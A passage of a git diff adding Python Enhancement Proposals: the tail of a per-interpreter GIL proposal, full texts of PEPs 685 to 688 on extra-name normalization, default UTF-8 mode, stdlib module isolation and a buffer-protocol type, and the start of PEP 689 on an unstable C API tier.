consolidate globals has already provided a number of +improvements to CPython's performance, both speeding it up and using +less memory, and this should continue. Performance benefits to a +per-interpreter GIL have not been explored. At the very least, it is +not expected to make CPython slower (as long as interpreters are +sufficiently isolated). + + +How to Teach This +================= + +This is an advanced feature for users of the C-API. There is no +expectation that this will be taught. + +That said, if it were taught then it would boil down to the following: + + In addition to Py_NewInterpreter(), you can use Py_NewInterpreterEx() + to create an interpreter. The config you pass it indicates how you + want that interpreter to behave. + + +Reference Implementation +======================== + + + + +Open Issues +=========== + +* What are the risks/hurdles involved with moving the allocators? +* Is ``allow_all_extensions`` the best name for the context manager? + + +Deferred Functionality +====================== + +* ``PyInterpreterConfig`` option to always run the interpreter in a new thread +* ``PyInterpreterConfig`` option to assign a "main" thread to the interpreter + and only run in that thread + + +Rejected Ideas +============== + + + + +Extra Context +============= + +Sharing Global Objects +---------------------- + +We are sharing some global objects between interpreters. +This is an implementation detail and relates more to +`globals consolidation `_ +than to this proposal, but it is a significant enough detail +to explain here. + +The alternative is to share no objects between interpreters, ever. +To accomplish that, we'd have to sort out the fate of all our static +types, as well as deal with compatibility issues for the many objects +`exposed in the public C-API `_. + +That approach introduces a meaningful amount of extra complexity +and higher risk, though prototyping has demonstrated valid solutions. +Also, it would likely result in a performance penalty. + +`Immortal objects `_ allow us to +share the otherwise immutable global objects. That way we avoid +the extra costs. + +.. _capi objects: + +Objects Exposed in the C-API +'''''''''''''''''''''''''''' + +The C-API (including the limited API) exposes all the builtin types, +including the builtin exceptions, as well as the builtin singletons. +The exceptions are exposed as ``PyObject *`` but the rest are exposed +as the static values rather than pointers. This was one of the few +non-trivial problems we had to solve for per-interpreter GIL. + +With immortal objects this is a non-issue. + + +Consolidating Runtime Global State +---------------------------------- + +As noted in `CPython Runtime State`_ above, there is an active effort +(separate from this PEP) to consolidate CPython's global state into the +``_PyRuntimeState`` struct. Nearly all the work involves moving that +state from global variables. The project is particularly relevant to +this proposal, so below is some extra detail. + +Benefits to Consolidation +''''''''''''''''''''''''' + +Consolidating the globals has a variety of benefits: + +* greatly reduces the number of C globals (best practice for C code) +* the move draws attention to runtime state that is unstable or broken +* encourages more consistency in how runtime state is used +* makes multiple-interpreter behavior more reliable +* leads to fixes for long-standing runtime bugs that otherwise + haven't been prioritized +* exposes (and inspires fixes for) previously unknown runtime bugs +* facilitates cleaner runtime initialization and finalization +* makes it easier to discover/identify CPython's runtime state +* makes it easier to statically allocate runtime state in a consistent way +* better memory locality for runtime state +* structural layering of the C-API (e.g. ``Include/internal``) + +Furthermore, much of that work benefits other CPython-related projects: + +* performance improvements ("faster-cpython") +* pre-fork application deployment (e.g. Instagram) +* extension module isolation (see :pep:`630`, etc.) +* embedding CPython + +Scale of Work +''''''''''''' + +The number of global variables to be moved is large enough to matter, +but most are Python objects that can be dealt with in large groups +(like ``Py_IDENTIFIER``). In nearly all cases, moving these globals +to the interpreter is highly mechanical. That doesn't require +cleverness but instead requires someone to put in the time. + +State To Be Moved +''''''''''''''''' + +The remaining global variables can be categorized as follows: + +* global objects + * static types (incl. exception types) + * non-static types (incl. heap types, structseq types) + * singletons (static) + * singletons (initialized once) + * cached objects +* non-objects + * will not (or unlikely to) change after init + * only used in the main thread + * initialized lazily + * pre-allocated buffers + * state + +Those globals are spread between the core runtime, the builtin modules, +and the stdlib extension modules. + +For a breakdown of the remaining globals, run: + +.. code-block:: bash + + ./python Tools/c-analyzer/table-file.py Tools/c-analyzer/cpython/globals-to-fix.tsv + +Already Completed Work +'''''''''''''''''''''' + +As mentioned, this work has been going on for many years. Here are some +of the things that have already been done: + +* cleanup of runtime initialization (see :pep:`432` / :pep:`587`) +* extension module isolation machinery (see :pep:`384` / :pep:`3121` / :pep:`489`) +* isolation for many builtin modules +* isolation for many stdlib extension modules +* addition of ``_PyRuntimeState`` +* no more ``_Py_IDENTIFIER()`` +* statically allocated: + + * empty string + * string literals + * identifiers + * latin-1 strings + * length-1 bytes + * empty tuple + +Tooling +''''''' + +As already indicated, there are several tools to help identify the +globals and reason about them. + +* ``Tools/c-analyzer/cpython/globals-to-fix.tsv`` - the list of remaining globals +* ``Tools/c-analyzer/c-analyzer.py`` + * ``analyze`` - identify all the globals + * ``check`` - fail if there are any unsupported globals that aren't ignored +* ``Tools/c-analyzer/table-file.py`` - summarize the known globals + +Also, the check for unsupported globals is incorporated into CI so that +no new globals are accidentally added. + +Global Objects +'''''''''''''' + +Global objects that are safe to be shared (without a GIL) between +interpreters can stay on ``_PyRuntimeState``. Not only must the object +be effectively immutable (e.g. singletons, strings), but not even the +refcount can change for it to be safe. Immortality (:pep:`683`) +provides that. (The alternative is that no objects are shared, which +adds significant complexity to the solution, particularly for the +objects `exposed in the public C-API `_.) + +Builtin static types are a special case of global objects that will be +shared. They are effectively immutable except for one part: +``__subclasses__`` (AKA ``tp_subclasses``). We expect that nothing +else on a builtin type will change, even the content +of ``__dict__`` (AKA ``tp_dict``). + +``__subclasses__`` for the builtin types will be dealt with by making +it a getter that does a lookup on the current ``PyInterpreterState`` +for that type. + + +References +========== + +Related: + +* :pep:`384` +* :pep:`432` +* :pep:`489` +* :pep:`554` +* :pep:`573` +* :pep:`587` +* :pep:`630` +* :pep:`683` +* :pep:`3121` + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. diff --git a/pep-0685.rst b/pep-0685.rst new file mode 100644 index 00000000000..373f9a9961c --- /dev/null +++ b/pep-0685.rst @@ -0,0 +1,210 @@ +PEP: 685 +Title: Comparison of extra names for optional distribution dependencies +Author: Brett Cannon +PEP-Delegate: Paul Moore +Discussions-To: https://discuss.python.org/t/14141 +Status: Accepted +Type: Standards Track +Topic: Packaging +Content-Type: text/x-rst +Created: 08-Mar-2022 +Post-History: `08-Mar-2022 `__ +Resolution: https://discuss.python.org/t/pep-685-comparison-of-extra-names-for-optional-distribution-dependencies/14141/55 + + +Abstract +======== + +This PEP specifies how to normalize `distribution extra `_ +names when performing comparisons. +This prevents tools from either failing to find an extra name, or +accidentally matching against an unexpected name. + + +Motivation +========== + +The `Provides-Extra`_ core metadata specification states that an extra's +name "must be a valid Python identifier". +:pep:`508` specifies that the value of an ``extra`` marker may contain a +letter, digit, or any one of ``.``, ``-``, or ``_`` after the initial character. +There is no other `PyPA specification +`_ +which outlines how extra names should be written or normalized for comparison. +Due to the amount of packaging-related code in existence, +it is important to evaluate current practices by the community and +standardize on one that doesn't break most existing code, while being +something tool authors can agree to following. + +The issue of there being no consistent standard was brought forward by an +`initial discussion `__ +noting that the extra ``adhoc-ssl`` was not considered equal to the name +``adhoc_ssl`` by pip 22. + + +Rationale +========= + +:pep:`503` specifies how to normalize distribution names:: + + re.sub(r"[-_.]+", "-", name).lower() + +This collapses any run of the characters ``-``, ``_`` and ``.`` +down to a single ``-``. +For example, ``---`` ``.`` and ``__`` all get converted to just ``-``. +This does **not** produce a valid Python identifier, per +the core metadata 2.2 specification for extra names. + +`Setuptools 60 performs normalization `__ +via:: + + re.sub(r'[^A-Za-z0-9-.]+', '_', name).lower() + +The use of an underscore/``_`` differs from PEP 503's use of a hyphen/``-``, +and it also normalizes characters outside of those allowed by :pep:`508`. +Runs of ``.`` and ``-``, unlike PEP 503, do **not** get normalized to one ``_``, +e.g. ``..`` stays the same. To note, this is inconsistent with this function's +docstring, which *does* specify that all non-alphanumeric characters +(which would include ``-`` and ``.``) are normalized and collapsed. + +For pip 22, its +"extra normalisation behaviour is quite convoluted and erratic" [pip-erratic]_ +and so its use is not considered. + +.. [pip-erratic] Tzu-ping Chung on Python Discourse ` +for names:: + + re.sub(r"[-_.]+", "-", name).lower() + +The `core metadata`_ specification will be updated such that the allowed +names for `Provides-Extra`_ matches what :pep:`508` specifies for names. +This will bring extra naming in line with that of the Name_ field. +Because this changes what is considered valid, it will lead to a core +metadata version increase to ``2.3``. + +For tools writing `core metadata`_, +they MUST write out extra names in their normalized form. +This applies to the `Provides-Extra`_ field and the +:pep:`extra marker <0508#extras>` when used in the `Requires-Dist`_ field. + +Tools generating metadata MUST raise an error if a user specified +two or more extra names which would normalize to the same name. +Tools generating metadata MUST raise an error if an invalid extra +name is provided as appropriate for the specified core metadata version. +If a project's metadata specifies an older core metadata version and +the name would be invalid with newer core metadata versions, +tools reading that metadata SHOULD warn the user. +Tools SHOULD warn users when an invalid extra name is read and SHOULD +ignore the name to avoid ambiguity. +Tools MAY raise an error instead of a warning when reading an +invalid name, if they so desire. + + +Backwards Compatibility +======================= + +Moving to :pep:`503` normalization and :pep:`508` name acceptance +allows for all preexisting, valid names to continue to be valid. + +Based on research looking at a collection of wheels on PyPI [pypi-results]_, +the risk of extra name clashes is limited to 73 instances when considering +all extras names on PyPI, valid or not (not just those within a single package) +while *only* looking at valid names leads to only 3 clashes: + +* ``dev-test``: ``dev_test``, ``dev-test``, ``dev.test`` +* ``dev-lint``: ``dev-lint``, ``dev.lint``, ``dev_lint`` +* ``apache-beam``: ``apache-beam``, ``apache.beam`` + +By requiring tools writing core metadata to only record the normalized name, +the issue of preexisting, invalid extra names should diminish over time. + +.. [pypi-results] Paul Moore on Python Discourse https://discuss.python.org/t/14141/17 + + +Security Implications +===================== + +It is possible that for a distribution that has conflicting extra names, a +tool ends up installing dependencies that somehow weaken the security +of the system. +This is only hypothetical and if it were to occur, +it would probably be more of a security concern for the distributions +specifying such extras names rather than the distribution that pulled +them in together. + + +How to Teach This +================= + +This should be transparent to users on a day-to-day basis. +It will be up to tools to educate/stop users when they select extra +names which conflict. + + +Reference Implementation +======================== + +No reference implementation is provided aside from the code above, +but the expectation is the `packaging project`_ will provide a +function in its ``packaging.utils`` module that will implement extra name +normalization. +It will also implement extra name comparisons appropriately. +Finally, if the project ever gains the ability to write out metadata, +it will also implement this PEP. + + +Transition Plan +=============== + +There is a risk that a build tool will produce core metadata +conforming to version 2.3 and thus this PEP but which is consumed by a +tool that is unaware of this PEP (if that tool chooses to attempt to +read a core metadata version it does not directly support). +In such a case there is a chance that a user may specify an extra +using an non-normalized name which worked previously but which fails +now. + +As such, consumers of this PEP should be prioritized more than +producers so that users can be notified that they are specifying extra +names which are not normalized (and thus may break in the future). + + +Rejected Ideas +============== + +Using setuptools 60's normalization +----------------------------------- + +Initially, this PEP proposed using setuptools ``safe_extra()`` for normalization +to try to minimize backwards-compatibility issues. +However, after checking various wheels on PyPI, +it became clear that standardizing **all** naming on :pep:`508` and +:pep:`503` semantics was easier and better long-term, +while causing minimal backwards compatibility issues. + + +Open Issues +=========== + +N/A + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + +.. _core metadata: https://packaging.python.org/en/latest/specifications/core-metadata/ +.. _Name: https://packaging.python.org/en/latest/specifications/core-metadata/#name +.. _packaging project: https://packaging.pypa.io +.. _Provides-Extra: https://packaging.python.org/en/latest/specifications/core-metadata/#provides-extra-multiple-use +.. _Requires-Dist: https://packaging.python.org/en/latest/specifications/core-metadata/#requires-dist-multiple-use diff --git a/pep-0686.rst b/pep-0686.rst new file mode 100644 index 00000000000..301813c5261 --- /dev/null +++ b/pep-0686.rst @@ -0,0 +1,195 @@ +PEP: 686 +Title: Make UTF-8 mode default +Author: Inada Naoki +Discussions-To: https://discuss.python.org/t/14737 +Status: Accepted +Type: Standards Track +Content-Type: text/x-rst +Created: 18-Mar-2022 +Python-Version: 3.15 +Post-History: `18-Mar-2022 `__, + `31-Mar-2022 `__ +Resolution: https://discuss.python.org/t/14737/9 + + +Abstract +======== + +This PEP proposes enabling :pep:`UTF-8 mode <540>` by default. + +With this change, Python consistently uses UTF-8 for default encoding of +files, stdio, and pipes. + + +Motivation +========== + +UTF-8 becomes de facto standard text encoding. + +* The default encoding of Python source files is UTF-8. +* JSON, TOML, YAML use UTF-8. +* Most text editors, including Visual Studio Code and Windows Notepad use + UTF-8 by default. +* Most websites and text data on the internet use UTF-8. +* And many other popular programming languages, including Node.js, Go, Rust, + and Java uses UTF-8 by default. + +Changing the default encoding to UTF-8 makes it easier for Python to +interoperate with them. + +Additionally, many Python developers using Unix forget that the default +encoding is platform dependent. +They omit to specify ``encoding="utf-8"`` when they read text files encoded +in UTF-8 (e.g. JSON, TOML, Markdown, and Python source files). +Inconsistent default encoding causes many bugs. + + +Specification +============= + +Enable UTF-8 mode by default +---------------------------- + +Python will enable UTF-8 mode by default from Python 3.15. + +Users can still disable UTF-8 mode by setting ``PYTHONUTF8=0`` or +``-X utf8=0``. + + +``locale.getencoding()`` +------------------------ + +Since UTF-8 mode affects ``locale.getpreferredencoding(False)``, +we need an API to get locale encoding regardless of UTF-8 mode. + +``locale.getencoding()`` will be added for this purpose. +It returns locale encoding too, but ignores UTF-8 mode. + +When ``warn_default_encoding`` option is specified, +``locale.getpreferredencoding()`` will emit ``EncodingWarning`` like +``open()`` (see also :pep:`597`). + +This API was added in Python 3.11. + + +Fixing ``encoding="locale"`` option +----------------------------------- + +:pep:`597` added the ``encoding="locale"`` option to the ``TextIOWrapper``. +This option is used to specify the locale encoding explicitly. +``TextIOWrapper`` should use locale encoding when the option is specified, +regardless of default text encoding. + +But ``TextIOWrapper`` uses ``"UTF-8"`` in UTF-8 mode even if +``encoding="locale"`` is specified for now. +This behavior is inconsistent with the :pep:`597` motivation. +It is because we didn't expect making UTF-8 mode default when Python +changes its default text encoding. + +This inconsistency should be fixed before making UTF-8 mode default. +``TextIOWrapper`` should use locale encoding when ``encoding="locale"`` is +passed even in UTF-8 mode. + +This issue was fixed in Python 3.11. + + +Backward Compatibility +====================== + +Most Unix systems use UTF-8 locale and Python enables UTF-8 mode when its +locale is C or POSIX. +So this change mostly affects Windows users. + +When a Python program depends on the default encoding, this change may cause +``UnicodeError``, mojibake, or even silent data corruption. +So this change should be announced loudly. + +This is the guideline to fix this backward compatibility issue: + +1. Disable UTF-8 mode. +2. Use ``EncodingWarning`` (:pep:`597`) to find every places UTF-8 mode + affects. + + * If ``encoding`` option is omitted, consider using ``encoding="utf-8"`` + or ``encoding="locale"``. + * If ``locale.getpreferredencoding()`` is used, consider using + ``"utf-8"`` or ``locale.getencoding()``. + +3. Test the application with UTF-8 mode. + + +Preceding examples +================== + +* Ruby `changed `__ the default ``external_encoding`` + to UTF-8 on Windows in Ruby 3.0 (2020). +* Java `changed `__ the default text encoding + to UTF-8 in JDK 18. (2022). + +Both Ruby and Java have an option for backward compatibility. +They don't provide any warning like :pep:`597`'s ``EncodingWarning`` +in Python for use of the default encoding. + + +Rejected Alternative +==================== + +Deprecate implicit encoding +--------------------------- + +Deprecating the use of the default encoding is considered. + +But there are many cases that the default encoding is used for reading/writing +only ASCII text. +Additionally, such warnings are not useful for non-cross platform applications +run on Unix. + +So forcing users to specify the ``encoding`` everywhere is too painful. +Emitting a lot of ``DeprecationWarning`` will lead users ignore warnings. + +:pep:`387` requires adding a warning for backward incompatible changes. +But it doesn't require using ``DeprecationWarning``. +So using optional ``EncodingWarning`` doesn't violate the :pep:`387`. + +Java also rejected this idea in `JEP 400`_. + + +Use ``PYTHONIOENCODING`` for PIPEs +---------------------------------- + +To ease backward compatibility issue, using ``PYTHONIOENCODING`` as the +default encoding of PIPEs in the ``subprocess`` module is considered. + +With this idea, users can use legacy encoding for +``subprocess.Popen(text=True)`` even in UTF-8 mode. + +But this idea makes "default encoding" complicated. +And this idea is also backward incompatible. + +So this idea is rejected. Users can disable UTF-8 mode until they replace +``text=True`` with ``encoding="utf-8"`` or ``encoding="locale"``. + + +How to teach this +================= + +For new users, this change reduces things that need to teach. +Users don't need to learn about text encoding in their first year. +They should learn it when they need to use non-UTF-8 text files. + +For existing users, see the `Backward compatibility`_ section. + + +References +========== + +.. _Feature #16604: https://bugs.ruby-lang.org/issues/16604 + +.. _JEP 400: https://openjdk.java.net/jeps/400 + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. diff --git a/pep-0687.rst b/pep-0687.rst new file mode 100644 index 00000000000..a3802430c2b --- /dev/null +++ b/pep-0687.rst @@ -0,0 +1,206 @@ +PEP: 687 +Title: Isolating modules in the standard library +Author: Erlend Egeberg Aasland , Petr Viktorin +Discussions-To: https://discuss.python.org/t/14824 +Status: Accepted +Type: Standards Track +Content-Type: text/x-rst +Requires: 489, 573, 630 +Created: 04-Apr-2022 +Python-Version: 3.12 +Post-History: `04-Apr-2022 `__, + `11-Apr-2022 `__ +Resolution: https://discuss.python.org/t/14824 + +Abstract +======== + +Extensions in the standard library will be converted to multi-phase +initialization (:pep:`489`) and where possible, all state will be +stored on module objects rather than in process-global variables. + + +Note on Backdating +================== + +Much of this proposal has already been implemented. +We submit this PEP to explain the changes, seek consensus on +whether they are good, propose the remaining changes, +and set best practices for new modules. + + + +Motivation & Rationale +====================== + +The informational :pep:`630` describes the background, motivation, rationale, +implications and implementation notes of the proposed changes as they apply +generally to any extension module (not just the standard library). + +It is an integral part of this proposal. Read it first. + +This PEP discusses specifics of the standard library. + + +Specification +============= + +The body of :pep:`630` will be converted to a HOWTO in the Python +documentation, and that PEP will be retired (marked Final). + +All extension modules in the standard library will be converted to multi-phase +initialization introduced in :pep:`489`. + +All stdlib extension modules will be *isolated*. That is: + +- Types, functions and other objects defined by the module will either be + immutable, or not shared with other module instances. + +- State specific to the module will not be shared with other module instances, + unless it represents global state. + + For example, ``_csv.field_size_limit`` will get/set a module-specific + number. On the other hand, functions like ``readline.get_history_item`` or + ``os.getpid`` will continue to work with state that is process-global + (external to the module, and possibly shared across other libraries, including + non-Python ones). + +Conversion to heap types +------------------------ + +Static types that do not need module state access, and have no other reason to +be converted, should stay static. + +Types whose methods need access to their module instance will be converted +to heap types following :pep:`630`, with the following considerations: + +- All standard library types that used to be static types should remain + immutable. Heap types must be defined with the ``Py_TPFLAGS_IMMUTABLE_TYPE`` + flag to retain immutability. + See `bpo-43908 `__. + + Tests should ensure ``TypeError`` is raised when trying to create a new + attribute of an immutable type. + +- A static type with ``tp_new = NULL`` does not have a public constructor, but + heap types inherit the constructor from the base class. Make sure types that + previously were impossible to instantiate retain that feature; use + ``Py_TPFLAGS_DISALLOW_INSTANTIATION``. Add tests using + ``test.support.check_disallow_instantiation()``. See + `bpo-43916 `__. + +- Converted heap types may unintentionally become serializable + (``pickle``-able). Test that calling ``pickle.dumps`` has the same result + before and after conversion, and if the test fails, add a ``__reduce__`` + method that raises ``TypeError``. See `PR-21002 `__ + for an example. + +These issues will be added to the Devguide to help any future conversions. + +If another kind of issue is found, the module in question should be unchanged +until a solution is found and added to the Devguide, and already +converted modules are checked and fixed. + + +Process +------- + +The following process should be added to the Devguide, and remain until +all modules are converted. +Any new findings should be documented there or in the general HOWTO. + +Part 1: Preparation +................... + +1. Open a discussion, either on the bug tracker or on Discourse. Involve the + module maintainer and/or code owner. Explain the reason and rationale for + the changes. +2. Identify global state performance bottlenecks. + Create a proof-of-concept implementation, and measure the performance impact. + ``pyperf`` is a good tool for benchmarking. +3. Create an implementation plan. For small modules with few types, a single PR + may do the job. For larger modules with lots of types, and possibly also + external library callbacks, multiple PR's will be needed. + + +Part 2: Implementation +...................... + +Note: this is a suggested implementation plan for a complex module, based on +lessons learned with other modules. Feel free to simplify it for +smaller modules. + +1. Add Argument Clinic where possible; it enables you to easily use the + defining class to fetch module state from type methods. +2. Prepare for module state; establish a module state ``struct``, add an instance + as a static global variable, and create helper stubs for fetching the module + state. +3. Add relevant global variables to the module state ``struct``, and modify code + that accesses the global state to use the module state helpers instead. This + step may be broken into several PR's. +4. Where necessary, convert static types to heap types. +5. Convert the global module state struct to true module state. +6. Implement multi-phase initialisation. + +Steps 4 through 6 should preferably land in a single alpha development phase. + + +Backwards Compatibility +======================= + +Extension modules in the standard library will now be loadable more than once. +For example, deleting such a module from ``sys.modules`` and re-importing it +will result in a fresh module instance, isolated from any previously loaded +instances. + +This may affect code that expected the previous behavior: globals of +extension modules were shallowly copied from the first loaded module. + + +Security Implications +===================== + +None known. + + +How to Teach This +================= + +A large part of this proposal is a HOWTO aimed at experienced users, +which will be moved to the documentation. + +Beginners should not be affected. + + +Reference Implementation +======================== + +Most of the changes are now in the main branch, as commits for these issues: + +- `bpo-40077, Convert static types to heap types: use PyType_FromSpec() `_ +- `bpo-46417, Clear static types in Py_Finalize() for embedded Python `_ +- `bpo-1635741, Py_Finalize() doesn't clear all Python objects at exit `_ + +As an example, changes and fix-ups done in the ``_csv`` module are: + +- `GH-23224, Remove static state from the _csv module `_ +- `GH-26008, Allow subclassing of csv.Error `_ +- `GH-26074, Add GC support to _csv heap types `_ +- `GH-26351, Make heap types converted during 3.10 alpha immutable `_ + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0688.rst b/pep-0688.rst new file mode 100644 index 00000000000..b46f8720340 --- /dev/null +++ b/pep-0688.rst @@ -0,0 +1,279 @@ +PEP: 688 +Title: Making the buffer protocol accessible in Python +Author: Jelle Zijlstra +Discussions-To: https://discuss.python.org/t/15265 +Status: Draft +Type: Standards Track +Content-Type: text/x-rst +Created: 23-Apr-2022 +Python-Version: 3.12 +Post-History: `23-Apr-2022 `__, + `25-Apr-2022 `__ + + +Abstract +======== + +This PEP proposes a mechanism for Python code to inspect whether a +type supports the C-level buffer protocol. This allows type +checkers to evaluate whether objects implement the protocol. + + +Motivation +========== + +The CPython C API provides a versatile mechanism for accessing the +underlying memory of an object—the `buffer protocol `__ +introduced in :pep:`3118`. +Functions that accept binary data are usually written to handle any +object implementing the buffer protocol. For example, at the time of writing, +there are around 130 functions in CPython using the Argument Clinic +``Py_buffer`` type, which accepts the buffer protocol. + +Currently, there is no way for Python code to inspect whether an object +supports the buffer protocol. Moreover, the static type system +does not provide a type annotation to represent the protocol. +This is a `common problem `__ +when writing type annotations for code that accepts generic buffers. + + +Rationale +========= + +Current options +--------------- + +There are two current workarounds for annotating buffer types in +the type system, but neither is adequate. + +First, the `current workaround `__ +for buffer types in typeshed is a type alias +that lists well-known buffer types in the standard library, such as +``bytes``, ``bytearray``, ``memoryview``, and ``array.array``. This +approach works for the standard library, but it does not extend to +third-party buffer types. + +Second, the `documentation `__ +for ``typing.ByteString`` currently states: + + This type represents the types ``bytes``, ``bytearray``, and + ``memoryview`` of byte sequences. + + As a shorthand for this type, ``bytes`` can be used to annotate + arguments of any of the types mentioned above. + +Although this sentence has been in the documentation +`since 2015 `__, +the use of ``bytes`` to include these other types is not specified +in any of the typing PEPs. Furthermore, this mechanism has a number of +problems. It does not include all possible buffer types, and it +makes the ``bytes`` type ambiguous in type annotations. After all, +there are many operations that are valid on ``bytes`` objects, but +not on ``memoryview`` objects, and it is perfectly possible for +a function to accept ``bytes`` but not ``memoryview`` objects. +A mypy user +`reports `__ +that this shortcut has caused significant problems for the ``psycopg`` project. + +Kinds of buffers +---------------- + +The C buffer protocol supports +`many options `__, +affecting strides, contiguity, and support for writing to the buffer. Some of these +options would be useful in the type system. For example, typeshed +currently provides separate type aliases for writable and read-only +buffers. + +However, in the C buffer protocol, these options cannot be +queried directly on the type object. The only way to figure out +whether an object supports a writable buffer is to actually +ask for the buffer. For some types, such as ``memoryview``, +whether the buffer is writable depends on the instance: +some instances are read-only and others are not. As such, we propose to +expose only whether a type implements the buffer protocol at +all, not whether it supports more specific options such as +writable buffers. + +Specification +============= + +types.Buffer +------------ + +A new class, ``types.Buffer``, will be added. It cannot be instantiated or +subclassed at runtime, but supports the ``__instancecheck__`` and +``__subclasscheck__`` hooks. In CPython, these will check for the presence of the +``bf_getbuffer`` slot in the type object: + +.. code-block:: pycon + + >>> from types import Buffer + >>> isinstance(b"xy", Buffer) + True + >>> issubclass(bytes, Buffer) + True + >>> issubclass(memoryview, Buffer) + True + >>> isinstance("xy", Buffer) + False + >>> issubclass(str, Buffer) + False + +The new class can also be used in type annotations: + +.. code-block:: python + + def need_buffer(b: Buffer) -> memoryview: + return memoryview(b) + + need_buffer(b"xy") # ok + need_buffer("xy") # rejected by static type checkers + +Usage in stub files +------------------- + +For static typing purposes, types defined in C extensions usually +require stub files, as :pep:`described in PEP 484 <484#stub-files>`. +In stub files, ``types.Buffer`` may be used as a base class to +indicate that a class implements the buffer protocol. + +For example, ``memoryview`` may be declared as follows in a stub: + +.. code-block:: python + + class memoryview(types.Buffer, Sized, Sequence[int]): + ... + +The ``types.Buffer`` class does not require any special treatment +by type checkers. + +Equivalent for older Python versions +------------------------------------ + +New typing features are usually backported to older Python versions +in the `typing_extensions `_ +package. Because the buffer protocol +is accessible only in C, ``types.Buffer`` cannot be implemented +in a pure-Python package like ``typing_extensions``. As a temporary +workaround, a ``typing_extensions.Buffer`` +`abstract base class `__ will be provided for Python versions +that do not have ``types.Buffer`` available. + +For the benefit of +static type checkers, ``typing_extensions.Buffer`` can be used as +a base class in stubs to mark types as supporting the buffer protocol. +For runtime uses, the ``ABC.register`` API can be used to register +buffer classes with ``typing_extensions.Buffer``. + +When ``types.Buffer`` is available, ``typing_extensions`` should simply +re-export it. Thus, users who register their buffer class manually +with ``typing_extensions.Buffer.register`` should use a guard to make +sure their code continues to work once ``types.Buffer`` is in the +standard library. + + +No special meaning for ``bytes`` +-------------------------------- + +The special case stating that ``bytes`` may be used as a shorthand +for other ``ByteString`` types will be removed from the ``typing`` +documentation. +With ``types.Buffer`` available as an alternative, there will be no good +reason to allow ``bytes`` as a shorthand. +We suggest that type checkers currently implementing this behavior +should deprecate and eventually remove it. + + +Backwards Compatibility +======================= + +As the runtime changes in this PEP only add a new class, there are +no backwards compatibility concerns. + +However, the recommendation to remove the special behavior for +``bytes`` in type checkers does have a backwards compatibility +impact on their users. An `experiment `__ +with mypy shows that several major open source projects that use it +for type checking will see new errors if the ``bytes`` promotion +is removed. Many of these errors can be fixed by improving +the stubs in typeshed, as has already been done for the +`builtins `__, +`binascii `__, +`pickle `__, and +`re `__ modules. +Overall, the change improves type safety and makes the type system +more consistent, so we believe the migration cost is worth it. + + +How to Teach This +================= + +We will add notes pointing to ``types.Buffer`` in appropriate places in the +documentation, such as `typing.readthedocs.io `__ +and the `mypy cheat sheet `__. +Type checkers may provide additional pointers in their error messages. For example, +when they encounter a buffer object being passed to a function that +is annotated to only accept ``bytes``, the error message could include a note suggesting +the use of ``types.Buffer`` instead. + + +Reference Implementation +======================== + +An implementation of ``types.Buffer`` is +`available `__ +in the author's fork. + + +Rejected Ideas +============== + +Buffer ABC +---------- + +An `earlier proposal `__ suggested +adding a ``collections.abc.Buffer`` +`abstract base class `__ +to represent buffer objects. This idea +stalled because an ABC with no methods does not fit well into the ``collections.abc`` +module. Furthermore, it required manual registration of buffer classes, including +those in the standard library. This PEP's approach of using the ``__instancecheck__`` +hook is more natural and does not require explicit registration. + +Nevertheless, the ABC proposal has the advantage that it does not require C changes. +This PEP proposes to adopt a version of it in the third-party ``typing_extensions`` +package for the benefit of users of older Python versions. + +Keep ``bytearray`` compatible with ``bytes`` +-------------------------------------------- + +It has been suggested to remove the special case where ``memoryview`` is +always compatible with ``bytes``, but keep it for ``bytearray``, because +the two types have very similar interfaces. However, several standard +library functions (e.g., ``re.compile`` and ``socket.getaddrinfo``) accept +``bytes`` but not ``bytearray``. In most codebases, ``bytearray`` is also +not a very common type. We prefer to have users spell out accepted types +explicitly (or use ``Protocol`` from :pep:`544` if only a specific set of +methods is required). + + +Open Issues +=========== + +Read-only and writable buffers +------------------------------ + +To avoid making changes to the buffer protocol itself, this PEP currently +does not provide a way to distinguish between read-only and writable buffers. +That's unfortunate, because some APIs require a writable buffer, and one of +the most common buffer types (``bytes``) is always read-only. +Should we add a new mechanism in C to declare that a type implementing the +buffer protocol is potentially writable? + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. diff --git a/pep-0689.rst b/pep-0689.rst new file mode 100644 index 00000000000..adaaeef76c0 --- /dev/null +++ b/pep-0689.rst @@ -0,0 +1,225 @@ +PEP: 689 +Title: Unstable C API tier +Author: Petr Viktorin +Status: Draft +Type: Standards Track +Content-Type: text/x-rst +Requires: 523 +Created: 22-Apr-2022 +Python-Version: 3.11 +Post-History: `27-Apr-2022 `__, + + +Abstract +======== + +Some functions and types of the C-API are designated *unstable*, +meaning that they will not change in patch (bugfix/security) releases, +but may change between minor releases (e.g. between 3.11 and 3.12) without +deprecation warnings. + + +Motivation & Rationale +====================== + +The Python C-API is currently divided into `three tiers `__: + +- Limited API, with high compatibility expectations +- Public API, which follows the :pep:`backwards compatibility policy + <387>`, and requires deprecation warnings before changes +- Private (internal) API, which can change at any time. + +Tools requring access to CPython internals (e.g. advanced +debuggers and JIT compilers) are often built for minor series releases +of CPython, and assume that the C-API internals used do not change +in patch releases. To support these tools, we need a tier between the +Public and Private C-API, with guarantees on stability throughout +the minor-series release. + + +Setting Stability Expectations +------------------------------ + +Currently, there are no guarantees for the internal API -- that is, anything +that requires ``Py_BUILD_CORE`` or is named with a leading underscore. +This API can change without warning at any time, and code that uses it +is pinned to a specific build of Python. + +However, in practice, even the internal API usually happens to be stable +in patch releases: + +- Some CPython core developers take this as an an unwritten rule. +- Patch releases only contain bugfixes, which are unlikely to + change the API. + +Unstable API will make the stability expectations more explicit. + +It will also hopefully encourage existing users of the private API to +reach out to python-dev, so we can expose, standardize and test an API +for some of their use cases. + + +Reserving underscores for Private API +------------------------------------- + +:pep:`523` introduced functions for use by debuggers and JIT compilers, +which are stable only across minor releases. +The functions names have leading underscores to suggest their limited +stability. + +However, leading underscores usually mark *fully private* API. +CPython developers familiar with the “underscore means internal” +convention are unlikely to check if underscored functions they are +changing are documented and used outside CPython itself. + +This proposal brings us a bit closer to reserving underscores +only for truly internal, private, hands-off API. + 